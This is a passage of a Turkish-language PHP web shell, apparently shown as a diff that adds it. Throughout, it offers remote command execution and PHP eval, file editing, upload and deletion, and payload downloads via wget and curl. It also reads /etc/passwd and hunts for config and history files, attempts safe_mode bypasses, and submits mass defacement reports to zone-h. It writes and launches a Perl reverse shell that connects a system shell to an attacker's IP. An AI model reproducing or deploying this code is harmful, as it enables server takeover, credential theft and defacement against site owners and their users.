\"Content-Length: 385\r\n\"; +print \$sock \"Pragma: no-cache\r\n\"; +print \$sock \"\r\n\"; +print \$sock \"notify_defacer=\$grupo&notify_domain=http%3A%2F%2F\$site[\$a]&notify_hackmode=22&notify_reason=5&notify=+OK+\r\n\"; +close(\$sock);}"); +if (touch ($li)==true){$fpl=fopen($li,"w+");fwrite ($fpl,$_REQUEST['zonetxt']); +}else{print "<p>[ Can't complete the operation, try change the current dir with writable one ]<br>";}$zonet=$_REQUEST['zonet']; +if (!function_exists(exec)&&!function_exists(shell_exec)&&!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)) +{print "[ Can't complete the operation !! ]";} +else {callfuncs("chmod 777 $zpl;chmod 777 $li"); +ob_start();callfuncs("perl $zpl $li $zonet");ob_clean(); +print "<p>[ All sites should be sended to zone-h.org successfully !! ]";die();} +}if ($dlink=='zone'&&!isset($_REQUEST['zonesub'])){ +print $sf."<br>";print "<p><pre><textarea cols=50 rows=10 name=zonetxt> +www.site1.com +www.site2.com +</textarea></pre></p>";input ("text","zonet","Hacker-name",35);print " "; +input ("submit","zonesub","Send","");print $ef;die();} +print "</div></b></center>"; print"</td></tr>";print"</table>";print "<br>"; +function inisaf($iniv) { $chkini=ini_get($iniv); +if(($chkini || strtolower($chkini)) !=='on'){print"<font color=red ><b>Safe Mod Kapalı Gözüküyor. Ancak Engelli Fonksiyonlar Bulunabilir.</b></font>";} else{ +print"<font color=red><b>Açık ( Güvenli )</b></font>";}}function inifunc($inif){$chkin=ini_get($inif); +if ($chkin==""){print " <font color=red><b>Yok</b></font>";} +else {$nchkin=wordwrap($chkin,40,"\n", 1);print "<b><font color=red >".$nchkin."</font></b>";}}function callocmd($ocmd,$owhich){if(function_exists(exec)){$nval=exec($ocmd);}elseif(!function_exists(exec)){$nval=shell_exec($ocmd);} +elseif(!function_exists(shell_exec)){$opop=popen($ocmd,'r'); +while (!feof($opop)){ $nval= fgetc($opop);}} +elseif(!function_exists(popen)){ ob_start();system($ocmd);$nval=ob_get_contents();ob_clean();}elseif(!function_exists(system)){ +ob_start();passthru($ocmd);$nval=ob_get_contents();ob_clean();} +if($nval=$owhich){print"<font color=red><b>ON</b></font>";} +else{print"<font color=red ><b>OFF</b></font>";} } +print"<table bgcolor=#191919 style=\"border:2px #FF0000 solid ;font-size:13px;font-family:tahoma \" width=100% height=%>"; +print"<tr><td>"; print"<center><br>"; +print"<b>Safe-mode :\t";print inisaf('safe_mode');print "</b>";print"</center>"; +if (!function_exists(exec)&&!function_exists(shell_exec)&&!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)||strstr(PHP_OS,"WIN")){print "";}else{print "<table bgcolor=#191919 width=100% height=% style='font-size:13px;font-family:tahoma'><tr><td>"; +print "<div align=center>"; print"<br><b>Mysql : </b>"; +callocmd('which mysql','/usr/bin/mysql'); +print"</td>"; print"<td>"; print"<br><b>Perl : </b>"; +callocmd('which perl',('/usr/bin/perl')||'/usr/local/bin/perl');print"</td>"; print"<td>"; print"<br><b>Gcc : </b>"; +callocmd('which gcc','/usr/bin/gcc'); print"</td>"; print"<td>"; +print"<br><b>Curl : </b>"; callocmd('which curl','/usr/bin/curl'); print"</td>"; print"<td>"; print"<br><b>GET : </b>"; +callocmd('which GET','/usr/bin/GET'); +print"</td>"; print"<td>";print"<br><b>Wget : </b>"; +callocmd('which wget','/usr/bin/wget'); +print"</td>"; print"<td>"; print"<br><b>Lynx : </b>"; +callocmd('which lynx','/usr/bin/lynx'); +print"</td>"; print "</tr></table>"; }print "<hr><br>"; +print "<br><table style=\"border:2px #FF0000 solid \" width=100% height=%>"; print"<tr><td><font size=2 face=tahoma>"; +print "<b>IP Numaranız : ".$REMOTE_ADDR."<br></b>"; +print "<b>Server IP Numarası : ".$SERVER_ADDR."</b>"; +print"<br><b>".$SERVER_SIGNATURE."</b>"; +print "<b>Server Adı : ".$SERVER_NAME." / "."Email : ".$SERVER_ADMIN."<br></b>"; +print "<b>Engelli Fonksiyonlar : </b>";inifunc(disable_functions);print"<br>"; +print "<b>Kimsiniz : <b>"; callfuncs('id');print"<br><b>Os : </b>"; +if (strstr( PHP_OS, "WIN")){print php_uname(); print " ";print PHP_OS; }else { +if (!function_exists(shell_exec)&&!function_exists(exec)&& +!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)) +{print php_uname(); print "/";print PHP_OS;} +else {callfuncs('uname -a');}}print"<br>"; +print"Php-versiyon : ".phpversion(); print"<br><b>Bulunduğunuz Ana Dizin : </b>"; +print $nscdir."&nbsp;&nbsp;&nbsp;&nbsp; [ ";permcol($nscdir);print " ]"; +print"<br>";print "TurkShell Burada : " .__file__; +print"<br> Toplam Alan: "; readable_size(disk_total_space($nscdir));print " / "; +print"Bos Alan: "; readable_size(disk_free_space($nscdir)); +print "</center><br></font>"; print"</td></tr></table><br>"; +if (isset($_REQUEST['credir'])) { $ndir=trim($_REQUEST['dir']); +if (mkdir( $ndir, 0777 )){ $mess=basename($ndir)." created successfully"; } +else{$mess="Klasör Oluştur/Sil";}}elseif (isset($_REQUEST['deldir'])) +{ $nrm=trim($_REQUEST['dir']);if (is_dir($nrm)&& rmdir($nrm)){$mess=basename($nrm)." deleted successfully"; }else{$mess="Create/Delete Dir";}} +else{$mess="Klasör Olustur/Sil";}if(isset($_REQUEST['crefile'])){ +$ncfile=trim($_REQUEST['cfile']); +if (!is_file($ncfile)&&touch($ncfile)){ $mess3=basename($ncfile)." created succefully";unset ($_REQUEST['cfile']);} +else{ $mess3= "Dosya Olustur/Sil";}} +elseif(isset($_REQUEST['delfile'])){ +$ndfile=trim($_REQUEST['cfile']); +if (unlink($ndfile)) {$mess3=basename($ndfile)." deleted succefully";} +else {$mess3= "Dosya Olustur/Sil";}} +else {$mess3="Dosya Olustur/Sil";} +class upload{ function upload($file,$tmp){ +$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();if (isset($_REQUEST["up"])){ if (empty($upfile)){print "";} +if (@copy($tmp,$nscdir."/".$file)){ +print "<div><center><b><font color=red > $file </font>dosyası başarıyla yüklenmiştir.</b></center></div>"; }else{print "<center><b>: Error uploading<font color=red> $file </font>: </b></center>";} } } } +$obj=new upload($HTTP_POST_FILES['upfile']['name'],$HTTP_POST_FILES['upfile']['tmp_name']); if (isset ($_REQUEST['ustsub'])){ +$ustname=trim ($_REQUEST['ustname']);ob_start(); +if ($_REQUEST['ustools']='t1'){callfuncs('wget '.$ustname);} +if ($_REQUEST['ustools']='t2'){callfuncs('curl -o basename($ustname) $ustname');} +if ($_REQUEST['ustools']='t3'){callfuncs('lynx -source $ustname > basename($ustname)');} +if ($_REQUEST['ustools']='t9'){callfuncs('GET $ustname > basename($ustname)');} +if ($_REQUEST['ustools']='t4'){callfuncs('unzip '.$ustname);} +if ($_REQUEST['ustools']='t5'){callfuncs('tar -xvf '.$ustname);} +if ($_REQUEST['ustools']='t6'){callfuncs('tar -zxvf '.$ustname);} +if ($_REQUEST['ustools']='t7'){callfuncs('chmod 777 '.$ustname);} +if ($_REQUEST['ustools']='t8'){callfuncs('make '.$ustname);}ob_clean();} +if (!isset($_REQUEST['cmd'])&&!isset($_REQUEST['eval'])&&!isset($_REQUEST['rfile'])&&!isset($_REQUEST['edit'])&&!isset($_REQUEST['subqcmnds'])&&!isset ($_REQUEST['safefile'])&&!isset ($_REQUEST['inifile'])&&!isset($_REQUEST['bip'])&& +!isset($_REQUEST['rfiletxt'])){ +if ($dh = dir($nscdir)){ while (true == ($filename =$dh->read())){ +$files[] = $filename; sort($files);}print "<br>"; +print"<center><table bgcolor=#2A2A2A style=\"border:1px solid white\" width=100% height=6% ></center>"; +print "<tr><td width=43% style=\"border:1px solid white\">"; +print "<center><b>Dosyalar";print "</td>"; +print "<td width=8% style=\"border:1px solid white\">";print "<center><b>Boyutlar";print "</td>"; +print "<td width=3% style=\"border:1px solid white\">";print "<center><b>Yazma";print "</td>"; +print "<td width=3% style=\"border:1px solid white\">";print "<center><b>Okuma";print "</td>"; +print "<td width=5% style=\"border:1px solid white\">";print "<center><b>Tür";print "</td>"; +print "<td width=5% style=\"border:1px solid white\">";print "<center><b>Düzenleme";print "</td>"; +print "<td width=5% style=\"border:1px solid white\">";print "<center><b>Adlandırma";print "</td>"; +print "<td width=6% style=\"border:1px solid white\">";print "<center><b>İndir";print "</td>";if(strstr(PHP_OS,"Linux")){ +print "<td width=8% style=\"border:1px solid white\">";print "<center><b>Grup";print "</td>";} +print "<td width=8% style=\"border:1px solid white\">";print "<center><b>İzinler";print "</td></tr>"; foreach ($files as $nfiles){ +if (is_file("$nscdir/$nfiles")){ $scmess1=filesize("$nscdir/$nfiles");} +if (is_writable("$nscdir/$nfiles")){ +$scmess2= "<center><font color=red >Evet";}else {$scmess2="<center><font color=red>Hayir";}if (is_readable("$nscdir/$nfiles")){ +$scmess3= "<center><font color=red >Evet";}else {$scmess3= "<center><font color=red>Hayir";}if (is_dir("$nscdir/$nfiles")){$scmess4= "<font color=red><center>Klasör";}else{$scmess4= "<center><font color=red >Dosya";} +print"<tr><td style=\"border:1px solid white\">"; +if (is_dir($nfiles)){print "<font face= tahoma size=2 color=red >[ $nfiles ]<br>";}else {print "<font face= tahoma size=2 color=#FF0000>$nfiles <br>";} +print"</td>"; print "<td style=\"border:1px solid white\">"; +print "<center><font face= tahoma size=2 color=#FF0000>"; +if (is_dir("$nscdir/$nfiles")){print "<b>K</b>lasör";} +elseif(is_file("$nscdir/$nfiles")){readable_size($scmess1);}else {print "---";} +print "</td>"; print "<td style=\"border:1px solid white\">"; +print "<center><font face= tahoma size=2 >$scmess2"; print "</td>"; +print"<td style=\"border:1px solid white\">"; +print "<center><font face= tahoma size=2 >$scmess3"; print "</td>"; +print "<td style=\"border:1px solid white\">"; +print "<center><font face= tahoma size=2 >$scmess4"; print"</td>"; +print "<td style=\"border:1px solid white\">";if(is_file("$nscdir/$nfiles")){ +print " <center><a href=".inclink('dlink', 'edit')."&edit=$nfiles&scdir=$nscdir>Düzenle</a>";}else {print "<center><font face=tahoma size=2 color=gray>Düzenle</center>";}print"</td>"; print "<td style=\"border:1px solid white\">";print " <center><a href=".inclink('dlink', 'ren')."&ren=$nfiles&scdir=$nscdir>Adlandir</a>";print"</td>";print "<td style=\"border:1px solid white\">"; +if(is_file("$nscdir/$nfiles")){ +print " <center><a href=".inclink('dlink', 'dwld')."&dwld=$nfiles&scdir=$nscdir>indir</a>";}else {print "<center><font face=tahoma size=2 color=gray>indir</center>";}print"</td>"; if(strstr(PHP_OS,"Linux")){ +print "<td style=\"border:1px solid white\">"; +print "<center><font face=tahoma size=2 color=#FF0000>";owgr($nfiles); +print "</center>";print"</td>";} +print "<td style=\"border:1px solid red \">";print "<center><div>"; +permcol("$nscdir/$nfiles");print "</div>";print"</td>"; print "</tr>"; +}print "</table>";print "<br>";}else {print "<div><br><center><b>[ İzin Verilmiyor. ]<p>";}} +elseif (!isset($_REQUEST['rfile'])&&isset($_REQUEST['cmd'])||isset($_REQUEST['eval'])||isset($_REQUEST['subqcmnds'])){ +if (!isset($_REQUEST['rfile'])&&isset($_REQUEST['cmd'])){print "<div><b><center>[ Executed command ][$] : ".$_REQUEST['cmd']."</div></center>";} +print "<pre><center>".$sta; +if (isset($_REQUEST['cmd'])){$cmd=trim($_REQUEST['cmd']);callfuncs($cmd);} +elseif(isset($_REQUEST['eval'])){ +ob_start();eval(stripslashes(trim($_REQUEST['eval']))); +$ret = ob_get_contents();ob_clean();print htmlspecialchars($ret);} +elseif (isset($_REQUEST['subqcmnds'])){ +if ($_REQUEST['uscmnds']=='op1'){callfuncs('ls -lia');} +if ($_REQUEST['uscmnds']=='op2'){callfuncs('cat /etc/passwd');} +if ($_REQUEST['uscmnds']=='op3'){callfuncs('cat /var/cpanel/accounting.log');} +if ($_REQUEST['uscmnds']=='op4'){callfuncs('ls /var/named');} +if ($_REQUEST['uscmnds']=='op11'){callfuncs('find ../ -type d -perm -2 -ls');} +if ($_REQUEST['uscmnds']=='op12'){callfuncs('find ./ -type d -perm -2 -ls');} +if ($_REQUEST['uscmnds']=='op5'){callfuncs('find ./ -name service.pwd ');} +if ($_REQUEST['uscmnds']=='op6'){callfuncs('find ./ -name config.php');} +if ($_REQUEST['uscmnds']=='op7'){callfuncs('find / -type f -name .bash_history');} +if ($_REQUEST['uscmnds']=='op8'){callfuncs('cat /etc/hosts');} +if ($_REQUEST['uscmnds']=='op9'){callfuncs('finger root');} +if ($_REQUEST['uscmnds']=='op10'){callfuncs('netstat -an | grep -i listen');} +if ($_REQUEST['uscmnds']=='op13'){callfuncs('cat /etc/services');} +}print $eta."</center></pre>";} +function rdread($nscdir,$sf,$ef){$rfile=trim($_REQUEST['rfile']); +if(is_readable($rfile)&&is_file($rfile)){ +$fp=fopen ($rfile,"r");print"<center>"; +print "<div><b>[ Editing <font color=red >".basename($rfile)."</font> ] [<a href='javascript:history.back()'> Geri </a>] [<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>]</b></div><br>"; +print $sf."<textarea cols=157 rows=23 name=rfiletxt>"; +while (!feof($fp)){$lines = fgetc($fp); +$nlines=htmlspecialchars($lines);print $nlines;} +fclose($fp);print "</textarea>";if (is_writable($rfile)){ +print "<center><input type=hidden value=$rfile name=hidrfile><input type=submit value='Kaydet' > <input type=reset value='Reset' ></center>".$ef;}else +{print "<div><b><center>[ Can't edit <font color=red >".basename($rfile)."</font> ]</center></b></div><br>";}print "</center><br>";} +elseif (!file_exists($_REQUEST['rfile'])||!is_readable($_REQUEST['rfile'])||$_REQUEST['rfile']=$nscdir){print "<div><b><center>[ Safe Mod kapalı olduğu halde, engelli fonksiyonlar bulunduğundan dolayı isteğinize cevap verilememektedir. ]</center></b></div><br>";}} +function rdsave($nscdir){$hidrfile=trim($_REQUEST['hidrfile']); +if (is_writable($hidrfile)){$rffp=fopen ($hidrfile,"w+"); +$rfiletxt=stripslashes($_REQUEST['rfiletxt']); +fwrite ($rffp,$rfiletxt);print "<div><b><center> +[ <font color=red >".basename($hidrfile)."</font> Başarıyla Düzenlendi. ] +[<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>] [<a href='javascript:history.back()'> Edit again </a>] +</center></b></div><br>";fclose($rffp);} +else {print "<div><b><center>[ Can't save the file !! ] [<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>] [<a href='javascript:history.back()'> Back </a>]</center></b></div><br>";}} +if (isset ($_REQUEST['rfile'])&&!isset($_REQUEST['cmd'])){rdread($nscdir,$sf,$ef);} +elseif (isset($_REQUEST['rfiletxt'])){rdsave($nscdir);} +function callperms($chkperms){ +$perms = fileperms($chkperms); +if (($perms & 0xC000) == 0xC000) { + // Socket + $info = 's'; +} elseif (($perms & 0xA000) == 0xA000) { + // Symbolic Link + $info = 'l'; +} elseif (($perms & 0x8000) == 0x8000) { + // Regular + $info = '-'; +} elseif (($perms & 0x6000) == 0x6000) { + // Block special + $info = 'b'; +} elseif (($perms & 0x4000) == 0x4000) { + // Directory + $info = 'd'; +} elseif (($perms & 0x2000) == 0x2000) { + // Character special + $info = 'c'; +} elseif (($perms & 0x1000) == 0x1000) { + // FIFO pipe + $info = 'p'; +} else { + // Unknown + $info = 'u'; +} + +// Owner +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); + +// Group +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); + +// World +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); print $info;} + + function readable_size($size) { + +if ($size < 1024) { +print $size . ' B'; +}else {$units = array("kB", "MB", "GB", "TB"); +foreach ($units as $unit) { +$size = ($size / 1024); +if ($size < 1024) {break;}}printf ("%.2f",$size);print ' ' . $unit;}} +if($dlink=='ren'&&!isset($_REQUEST['rensub'])){ +print "<div><b><center>[<a href=".$PHP_SELF."?scdir=$nscdir> Geri </a>]</div>"; +print "<center>".$sf;input ("text","ren",$_REQUEST['ren'],20);print " "; +input ("text","renf","New-name",20);print " "; +input ("submit","rensub","Rename" ,"");print $ef;die();}else print ""; +if (isset ($_REQUEST['ren'])&&isset($_REQUEST['renf'])){ +if (rename($nscdir."/".$_REQUEST['ren'],$nscdir."/".$_REQUEST['renf'])){ +print"<center><div><b>[ ". $_REQUEST['ren']." is renamed to " .$sfnt.$_REQUEST['renf'].$efnt." successfully ]</center></div></b>";print "<div><b><center>[<a href=".inclink('dlink', 'rcurrdir')."&scdir=$nscdir> Curr-dir </a>]</div>";die();}else{print "<div><b><center>[ Yeniden Adlandirilamiyor ]</div>"; +print "<div><b><center>[<a href=".inclink('dlink', 'rcurrdir')."&scdir=$nscdir> Geri </a>]</div>";die();}}function fget($nscdir,$sf,$ef){print "<center>"; +print "<div><b>[ Düzenlenen Dosya: <font color=red >".basename($_REQUEST['edit'])."</font> ] [<a href='javascript:history.back()'> Geri </a>] [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</b></div>"; +print $sf."<textarea cols=157 rows=23 name=edittxt>"; $alltxt= file_get_contents($_REQUEST['edit']); +$nalltxt=htmlspecialchars($alltxt);print $nalltxt;print "</textarea></center>"; +if (is_writable($_REQUEST['edit'])){ +print "<center><input type=submit value='Save-file' > <input type=reset value='Reset' ></center>".$ef;}else {print "<div><b><center>[ Can't edit +<font color=red >".basename($_REQUEST['edit'])."</font> ]</center></b></div><br>";}}function svetxt(){ +$fp=fopen ($_REQUEST['edit'],"w");if (is_writable($_REQUEST['edit'])){ +$nedittxt=stripslashes($_REQUEST['edittxt']); +fwrite ($fp,$nedittxt);print "<div><b><center>[ <font color=red >".basename($_REQUEST['edit'])."</font> Saved !! ]</center></b></div>";fclose($fp);}else {print "<div><b><center>[ Can't save the file !! ]</center></b></div>";}} +if ($dlink=='edit'&&!isset ($_REQUEST['edittxt'])&&!isset($_REQUEST['rfile'])&&!isset($_REQUEST['cmd'])&&!isset($_REQUEST['subqcmnds'])&&!isset($_REQUEST['eval'])) +{fget($nscdir,$sf,$ef);}elseif (isset ($_REQUEST['edittxt'])) +{svetxt();fget($nscdir,$sf,$ef);}else {print "";}function owgr($file){ +$fileowneruid=fileowner($file); $fileownerarray=posix_getpwuid($fileowneruid); +$fileowner=$fileownerarray['name']; $fileg=filegroup($file); +$groupinfo = posix_getgrgid($fileg);$filegg=$groupinfo['name']; +print "$fileowner/$filegg"; }$cpyf=trim($_REQUEST['cpyf']);$ftcpy=trim($_REQUEST['ftcpy']);$cpmv= $cpyf.'/'.$ftcpy;if (isset ($_REQUEST['cpy'])){ +if (copy($ftcpy,$cpmv)){$cpmvmess=basename($ftcpy)." copied successfully";}else {$cpmvmess="Can't copy ".basename($ftcpy);}} +elseif(isset($_REQUEST['mve'])){ +if (copy($ftcpy,$cpmv)&&unlink ($ftcpy)){$cpmvmess= basename($ftcpy)." moved successfully";}else {$cpmvmess="Can't move ".basename($ftcpy);} +}else {$cpmvmess="Kopyala/Taşımak İçin Dosya Seç";} +if (isset ($_REQUEST['safefile'])){ +$file=$_REQUEST['safefile'];$tymczas="";if(empty($file)){ +if(empty($_GET['file'])){if(empty($_POST['file'])){ +print "<center>[ Please choose a file first to read it using copy() ]</center>"; +} else {$file=$_POST['file'];}} else {$file=$_GET['file'];}} +$temp=tempnam($tymczas, "cx");if(copy("compress.zlib://".$file, $temp)){ +$zrodlo = fopen($temp, "r");$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo);echo "<center><pre>".$sta.htmlspecialchars($tekst).$eta."</pre></center>";unlink($temp);} else { +print "<FONT COLOR=\"RED\"><CENTER>Uygulamaya esnasında sunucunun yazma izni vermemesinden dolayı işlem başarısız sonuçlandırılmıştır. +</CENTER></FONT><br>";}}if (isset ($_REQUEST['inifile'])){ +ini_restore("safe_mode");ini_restore("open_basedir"); +print "<center><pre>".$sta; +if (include(htmlspecialchars($_REQUEST['inifile']))){}else {print "Sorry, can't read the selected file !!";}print $eta."</pre></center>";} +if (isset ($_REQUEST['bip'])&&isset ($_REQUEST['bport'])){callback($nscdir,$_REQUEST['bip'],$_REQUEST['bport']);} +function callback($nscdir,$bip,$bport){ +if(strstr(php_os,"WIN")){$epath="cmd.exe";}else{$epath="/bin/sh";} +if (is_writable($nscdir)){ +$fp=fopen ("back.pl","w");$backpl='back.pl';} +else {$fp=fopen ("/tmp/back.pl","w");$backpl='/tmp/back.pl';} +fwrite ($fp,"use Socket; +\$system='$epath'; +\$sys= 'echo \"[ Operating system ][$]\"; echo \"`uname -a`\"; +echo \"[ Curr DIR ][$]\"; echo \"`pwd`\";echo; +echo \"[ User perms ][$]\";echo \"`id`\";echo; +echo \"[ Start shell ][$]\";'; + +if (!\$ARGV[0]) { + exit(1); +} +\$host = \$ARGV[0]; +\$port = 80; +if (\$ARGV[1]) { + \$port = \$ARGV[1]; +} +\$proto = getprotobyname('tcp') || die('Unknown Protocol\n'); +socket(SERVER, PF_INET, SOCK_STREAM, \$proto) || die ('Socket Error\n'); +my \$target = inet_aton(\$host); +if (!connect(SERVER, pack 'SnA4x8', 2, \$port, \$target)) { + die('Unable to Connect\n'); +} +if (!fork( )) { + open(STDIN,'>&SERVER'); + open(STDOUT,'>&SERVER'); + open(STDERR,'>&SERVER'); +print '\n[ Wardom Bu kodlar Megabros Tarafından kodlanmış Arka pLanı Programlanmıştır ]'; +print '\n[ Wardom ][ Megabrosl ]\n\n'; + system(\$sys);system (\$system); + exit(0); } + ");callfuncs("chmod 777 $backpl"); +ob_start(); +callfuncs("perl $backpl $bip $bport"); +ob_clean(); +print "<div><b><center>[ Selected IP is ".$_REQUEST['bip']." and port is ".$_REQUEST['bport']." ]<br> +[ Check your connection now, if failed try changing the port number ]<br> +[ Or Go to a writable dir and then try to connect again ]<br> +[ Return to the Current dir ] [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>] +</div><br>";}if (isset($_REQUEST['uback'])){ +$uback=$_REQUEST['uback'];$upip=$_REQUEST['upip']; +if ($_REQUEST['upports']=="up80"){callfuncs("perl $uback $upip 80");} +elseif ($_REQUEST['upports']=="up443"){callfuncs("perl $uback $upip 443");} +elseif ($_REQUEST['upports']=="up2121"){callfuncs("perl $uback $upip 2121");}} +delm("<font face=Tahoma color=#FFFFFF size=2>Komut Çalıştır");print "<table bgcolor=#2A2A2A style=\"border:2px solid white\" width=100% height=18%>"; +print "<tr><td width=32%><div align=left>"; +print $st.$c1."<center><div><b>".$mess3.$ec; +print $c2.$sf."<center>";input("text","cfile","",53); +input("hidden","scdir",$nscdir,0);print "<br>"; +input("submit","crefile","Olustur",""); +print " ";input("submit","delfile","Sil",""); +print "</center>".$ef.$ec.$et."</div></td>"; +print "<td><div align=center>".$st.$c1; +print "<center><div><b>Komut Gir";print $ec; +print $c2.$sf."<center><div style='margin-top:7px'>"; +input("text","cmd","",59);input("hidden","scdir",$nscdir,0);print"<br>"; +input("submit","","Gerçekleştir","");print "</center>".$ef.$ec.$et."</div></td>"; +print "<td width=32%><div align=right>";print $st.$c1; +print "<center><div><b>$mess".$ec.$c2.$sf."<center>"; +input("text","dir","",53);input("hidden","scdir",$nscdir,0);print "<br>"; +input("submit","credir","Oluştur","");print " "; +input("submit","deldir","Sil",""); +print "</center>".$ef.$ec.$et."</div></td></tr>"; +print "<tr><td width=32%><div align=left>";print $st.$c1; +print "<center><div><b>Dosya Düzenle/Oku".$ec;print $c2.$sf."<center>"; +input("text","rfile",$nscdir,53);input("hidden","scdir",$nscdir,0);print "<br>"; +input("submit","","Oku-Düzenle","");print "</center>".$ef.$ec.$et."</div></td>"; +print "<td><div align=center>";print $st.$c1; +print "<center><div><b>Dizin'i Göster<br>";print $ec.$c2.$sf."<center><div style='margin-top:7px'>"; input("text","scdir",$nscdir,59);print"<br>"; +input("submit","","Göster","");print " "; +input("reset","","R00T","");print "</center>".$ef.$ec.$et."</div></td>"; +print "<td><div align=center>";print $st.$c1; +print "<center><div><b>Dosya Boyutu : ".filesize($upfile)." in ( B/Kb )";print $ec.$c2."<form method=post Enctype=multipart/form-data><center>"; +input("file","upfile","",40);input("hidden","scdir",$nscdir,0); +input("hidden","up",$nscdir,0); +print"<br>";input("submit","","Yükle","");print "</center>".$ef.$ec.$et."</div></td></tr>"; +delm("");print "<table bgcolor=#2A2A2A style=\"border:2px solid white\" width=100%>";print "<tr><td width=50%><div align=left>"; + +print $st.$c1."<div><b><center>Php Kodu Gerçekleştir</div>"; +print $ec.$c2.$sf;input("hidden","scdir",$nscdir,0); +print "&nbsp;<textarea cols=73 rows=3 name=eval>"; +if(!isset($evsub)){print "//system('id'); //readfile('/etc/passwd'); //passthru('pwd');";}else{print htmlspecialchars(stripslashes($eval));} +print "</textarea><br><center>"; +input('submit','evsub','Gerçekleştir');print " "; +input('Reset','','Reset');print " "; +print "</center>".$ec.$ef.$et; +print "</td><td height=20% width=50%><div align=center>"; +print $st.$c1."<div><b><center>Faydalı Komutlar</div>"; +print $ec.$c2.$sf;input("hidden","scdir",$nscdir,0); +print "<center><select style='width:60%' name=uscmnds size=1> +<option value='op0'>Execute quick commands</option> +<option value='op1'>ls -lia</option> +<option value='op2'>/etc/passwd</option> +<option value='op3'>/var/cpanel/accounting.log</option> +<option value='op4'>/var/named</option> +<option value='op11'>Perms in curr Dir</option> +<option value='op12'>Perms in main Dir</option> +<option value='op5'>Find service.pwd files</option> +<option value='op6'>Find config files</option> +<option value='op7'>Find .bash_history files</option> +<option value='op8'>Read hosts file</option> +<option value='op9'>Root login</option> +<option value='op10'>Show opened ports</option> +<option value='op13'>Show services</option> +</select> ";print"<input type=submit name=subqcmnds value=Gerçekleştir style='height:20'> <input type=reset value=Geri Dön style='height:20'></center>"; +print $ec.$ef.$et."</td></tr></table>";delm(""); +print "<table bgcolor=#2A2A2A style=\"border:2px solid white\" width=100%>"; +print "<tr><td width=50%><div align=left>"; +print $st.$c1."<div><b><center>".$cpmvmess."</div>"; +print $ec.$c2.$sf."&nbsp;";input("text","ftcpy","Dosya Adı",15); +print "<b><font face=tahoma size=2>&nbsp;Taşı </b>"; +input("text","cpyf",$nscdir,45);input("hidden","scdir",$nscdir,0);print " "; +input("submit","cpy","Kopyala","");print " ";input("submit","mve","Taşı",""); +print "</center>".$ec.$ef.$et; +print "</td><td height=20% width=50%><div align=right>"; +print $st.$c1."<div><b><center>Çok Kullanılan Komutlar</div>"; +print $ec.$c2.$sf."&nbsp";input("hidden","scdir",$nscdir,0); +print "<select style='width:22%' name=ustools size=1> +<option value='t1'>Wget</option><option value='t2'>Curl</option> +<option value='t3'>Lynx</option><option value='t9'>Get</option> +<option value='t4'>Unzip</option><option value='t5'>Tar</option> +<option value='t6'>Tar.gz</option><option value='t7'>Chmod 777</option> +<option value='t8'>Make</option></select> ";input('text','ustname','',51);print " ";input('submit','ustsub','Gerçekleştir');print "</center>".$ec.$ef.$et; +print "</td></tr></table>";delm("<font face=Tahoma color=#FFFFFF size=2>Güvenlik Modunu Aşma | İkinci Yol"); +print "<table bgcolor=#2A2A2A style=\"border:2px solid white\" width=100%>"; +print "<tr><td width=50%><div align=left>"; +print $st.$c1."<div><b><center>Kopyalama Fonksiyonunu Kullan</div>"; +print $ec.$c2.$sf."&nbsp;";input("text","safefile",$nscdir,75); +input("hidden","scdir",$nscdir,0);print " "; +input("submit","","Read-F","");print "</center>".$ec.$ef.$et; +print "</td><td height=20% width=50%><div align=right>"; +print $st.$c1."<div><b><center>Onarım Fonksiyonunu Kullan</div>"; +print $ec.$c2.$sf."&nbsp;";input("text","inifile",$nscdir,75); +input("hidden","scdir",$nscdir,0);print " "; +input("submit","","Read-F","");print "</center>".$ec.$ef.$et; +print "</td></tr></table>";delm("<font face=Tahoma color=#FFFFFF size=2>ArkaKapı Bağlantısı"); +print "<table bgcolor=#2A2A2A style=\"border:2px solid white\" width=100%>"; +print "<tr><td width=50%><div align=left>"; +print $st.$c1."<div><b><center>ArkaKapı ile Baglan</div>"; +print $ec.$c2.$sf."&nbsp;";input("text","bip",$REMOTE_ADDR,47);print " "; +input("text","bport",80,10);input("hidden","scdir",$nscdir,0);print " "; +input("submit","","Bağlan","");print " ";input("reset","","Reset",""); +print "</center>".$ec.$ef.$et;print "</td><td height=20% width=50%><div align=right>";print $st.$c1."<div><b><center>Yüklenmis ArkaKapı</div>"; +print $ec.$c2.$sf."&nbsp;";print "<select style='width:15%' name=upports size=1> +<option value='up80'>80</option><option value='up443'>443</option> +<option value='up2121'>2121</option></select>";print " "; +input("text","uback","back.pl",23);print " "; +input("text","upip",$REMOTE_ADDR,29);print " ";input("submit","subupb","Bağlan"); +print "</center>".$ec.$ef.$et;print "</td></tr></table>"; +print "<br><table style=\"border:2px #FF0000 solid \" width=100% height=%>"; print"<tr><td><font size=2 face=tahoma>"; +print"<center>Shell üzerinde oynama yapmayınız. Aksi taktirde çalışmayabilir. Gelişime herzaman açıktır.<br>Bu Shell megabros tarafından programlanmıştır</a>"; 